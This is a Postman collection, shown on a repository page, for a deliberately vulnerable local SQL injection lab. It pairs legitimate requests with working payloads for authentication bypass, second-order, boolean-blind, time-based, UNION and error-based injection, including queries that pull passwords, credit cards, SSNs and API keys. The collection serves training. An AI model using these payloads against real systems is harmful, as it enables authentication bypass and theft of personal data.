-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathSQL-Injection-Lab-Vulnerable.postman_collection.json
More file actions
452 lines (452 loc) · 12.4 KB
/
Copy pathSQL-Injection-Lab-Vulnerable.postman_collection.json
File metadata and controls
452 lines (452 loc) · 12.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
{
"info": {
"_postman_id": "sql-injection-lab-vulnerable",
"name": "SQL Injection Lab - Vulnerable APIs",
"description": "Collection of vulnerable API endpoints demonstrating 8 different types of SQL Injection attacks. ⚠️ FOR EDUCATIONAL PURPOSES ONLY - DO NOT USE IN PRODUCTION!",
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
},
"item": [
{
"name": "1. First Order SQL Injection",
"item": [
{
"name": "getUserById - Legitimate",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/1",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "1"]
},
"description": "Legitimate request to get user by ID. Returns: 'admin'"
}
},
{
"name": "getUserById - SQL Injection Attack",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/1' OR '1'='1",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "1' OR '1'='1"]
},
"description": "❌ VULNERABLE: SQL Injection attack using OR condition to bypass ID check. Returns ALL users: 'admin, user, test'"
}
}
]
},
{
"name": "2. Authentication Bypass",
"item": [
{
"name": "Login - Legitimate",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"value": "application/x-www-form-urlencoded"
}
],
"body": {
"mode": "urlencoded",
"urlencoded": [
{
"key": "username",
"value": "admin",
"type": "text"
},
{
"key": "password",
"value": "secret123",
"type": "text"
}
]
},
"url": {
"raw": "http://localhost:8080/api/users/login",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "login"]
},
"description": "Legitimate login with correct credentials"
}
},
{
"name": "Login - SQL Comment Bypass",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"value": "application/x-www-form-urlencoded"
}
],
"body": {
"mode": "urlencoded",
"urlencoded": [
{
"key": "username",
"value": "admin' --",
"type": "text"
},
{
"key": "password",
"value": "wrongpassword",
"type": "text"
}
]
},
"url": {
"raw": "http://localhost:8080/api/users/login",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "login"]
},
"description": "❌ VULNERABLE: SQL comment (--) bypasses password check"
}
},
{
"name": "Login - OR 1=1 Bypass",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"value": "application/x-www-form-urlencoded"
}
],
"body": {
"mode": "urlencoded",
"urlencoded": [
{
"key": "username",
"value": "' OR '1'='1",
"type": "text"
},
{
"key": "password",
"value": "' OR '1'='1",
"type": "text"
}
]
},
"url": {
"raw": "http://localhost:8080/api/users/login",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "login"]
},
"description": "❌ VULNERABLE: OR condition always true bypasses authentication"
}
}
]
},
{
"name": "3. Second Order SQL Injection",
"item": [
{
"name": "Step 1: Create User - Store Malicious Username",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"value": "application/x-www-form-urlencoded"
}
],
"body": {
"mode": "urlencoded",
"urlencoded": [
{
"key": "username",
"value": "hackerr'' or 1=1--",
"type": "text"
},
{
"key": "password",
"value": "password123",
"type": "text"
},
{
"key": "email",
"value": "hacker@example.com",
"type": "text"
}
]
},
"url": {
"raw": "http://localhost:8080/api/users/",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", ""]
},
"description": "❌ VULNERABLE Step 1: Stores malicious SQL in username field. The malicious username (hackerr'' or 1=1--) is stored safely in the database (not executed yet). Response returns the created user ID. Copy this ID for use in Step 2. This demonstrates delayed exploitation: data stored → retrieved later → executed."
}
},
{
"name": "Step 2: Get User Profile - Execute Stored Injection",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/profile/4",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "profile", "4"]
},
"description": "❌ VULNERABLE Step 2: Uses user ID from Step 1. Query flow: 1) SELECT username WHERE id = 4 (safe, parameterized by ID), 2) Retrieved username: hackerr'' or 1=1--, 3) SELECT email WHERE username = 'hackerr'' or 1=1--' (INJECTION TRIGGERS HERE!). The double single quotes escape to a single quote, then 'or 1=1' makes the condition always true, and '--' comments out the rest. This returns ALL users' emails. This demonstrates Second Order injection: malicious data stored in Step 1 → retrieved by ID (safe) → used in query (VULNERABLE!)."
}
}
]
},
{
"name": "4. Boolean-based Blind SQL Injection",
"item": [
{
"name": "Check User Exists - Legitimate",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/exists/admin",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "exists", "admin"]
},
"description": "Legitimate request to check if user exists"
}
},
{
"name": "Check User Exists - Extract Password (1st char)",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/exists/admin' AND SUBSTRING(password,1,1)='s'--",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "exists", "admin' AND SUBSTRING(password,1,1)='s'--"]
},
"description": "❌ VULNERABLE: Boolean-based blind injection to extract first character of password"
}
},
{
"name": "Check User Exists - Extract Password (2nd char)",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/exists/admin' AND SUBSTRING(password,2,1)='e'--",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "exists", "admin' AND SUBSTRING(password,2,1)='e'--"]
},
"description": "❌ VULNERABLE: Boolean-based blind injection to extract second character of password"
}
}
]
},
{
"name": "5. Time-based Blind SQL Injection",
"item": [
{
"name": "Get User Email - Legitimate",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/email/1",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "email", "1"]
},
"description": "Legitimate request to get user email"
}
},
{
"name": "Get User Email - Time-based Attack",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/email/1' AND SLEEP(5)--",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "email", "1' AND SLEEP(5)--"]
},
"description": "❌ VULNERABLE: Time-based blind injection using SLEEP(5). Response will take ~5 seconds, demonstrating time-based SQL injection. For real attacks, use conditional: 1' AND IF(SUBSTR(password,1,1)='s', SLEEP(5), 0)--"
}
}
]
},
{
"name": "6. UNION-based SQL Injection",
"item": [
{
"name": "Search User - Legitimate",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/search?username=admin",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "search"],
"query": [
{
"key": "username",
"value": "admin"
}
]
},
"description": "Legitimate search for username"
}
},
{
"name": "Search User - UNION Extract Credit Cards",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/search?username=' UNION SELECT credit_card FROM sensitive_data--",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "search"],
"query": [
{
"key": "username",
"value": "' UNION SELECT credit_card FROM sensitive_data--"
}
]
},
"description": "❌ VULNERABLE: UNION injection to extract credit card numbers from sensitive_data table"
}
},
{
"name": "Search User - UNION Extract SSN",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/search?username=' UNION SELECT ssn FROM sensitive_data--",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "search"],
"query": [
{
"key": "username",
"value": "' UNION SELECT ssn FROM sensitive_data--"
}
]
},
"description": "❌ VULNERABLE: UNION injection to extract Social Security Numbers"
}
},
{
"name": "Search User - UNION Extract API Keys",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/search?username=' UNION SELECT secret_key FROM sensitive_data--",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "search"],
"query": [
{
"key": "username",
"value": "' UNION SELECT secret_key FROM sensitive_data--"
}
]
},
"description": "❌ VULNERABLE: UNION injection to extract API keys and secret tokens"
}
}
]
},
{
"name": "7. Error-Based SQL Injection",
"item": [
{
"name": "Get User Password - Legitimate",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/password/1",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "password", "1"]
},
"description": "✅ Legitimate request to get user password (for demo purposes only)"
}
},
{
"name": "Get User Password - SQL Error Message",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://localhost:8080/api/users/password/1'",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["api", "users", "password", "1'"]
},
"description": "❌ VULNERABLE: Error-based injection - Invalid SQL syntax reveals error message exposing database structure"
}
}
]
},
{
"name": "Database Reset",
"item": [
{
"name": "Reset Database",
"request": {
"method": "POST",
"header": [],
"url": {
"raw": "http://localhost:8080/reset-db",
"protocol": "http",
"host": ["localhost"],
"port": "8080",
"path": ["reset-db"]
},
"description": "🔄 Reset the database to its initial state. Drops and recreates all tables with default data. Useful after running multiple SQL injection tests."
},
"response": []
}
]
}
],
"variable": [
{
"key": "baseUrl",
"value": "http://localhost:8080",
"type": "string"
}
]
}